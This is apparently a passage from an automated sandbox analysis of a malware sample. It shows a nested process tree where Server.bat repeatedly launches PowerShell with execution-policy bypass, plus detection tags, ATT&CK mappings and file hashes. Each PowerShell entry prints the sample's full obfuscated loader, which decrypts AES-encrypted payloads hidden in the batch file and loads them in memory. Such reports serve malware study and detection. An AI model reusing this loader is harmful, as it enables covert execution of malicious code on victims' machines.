'')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        11⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4772
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:464
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        10⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1148
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3484
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4452
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:4940
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        8⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2792
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2644
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        7⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2784
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3236
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        6⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2960
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3788
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4888
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3956
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:64

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Optimizer-16.5.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Optimizer-16.5.exe.log
Size 654B
SHA256 e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced
MD5 2ff39f6c7249774be85fd60a8f9a245e
SHA1 684ff36b31aedc1e587c8496c02722c6698c1c4e
SHA512 1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 69f03040bf4208bbfc3617a35799ad9897c2235df7832dc7687c8b91ef2f99e8
MD5 906a96ab3d13d754809f312628f6e4ac
SHA1 4f1f3d49c788e5736c31904eaf4683ea4e8683c6
SHA512 a0f5fad77325a869edb9a80beb4f2604c5f6d5af652f21a2283e366cd32d42f6fb2f4761d596c6a77a2d83fda4ab52d9a645aedbce5295223c0e30faf306a851
MD5 SHA1 SHA512

Submit Download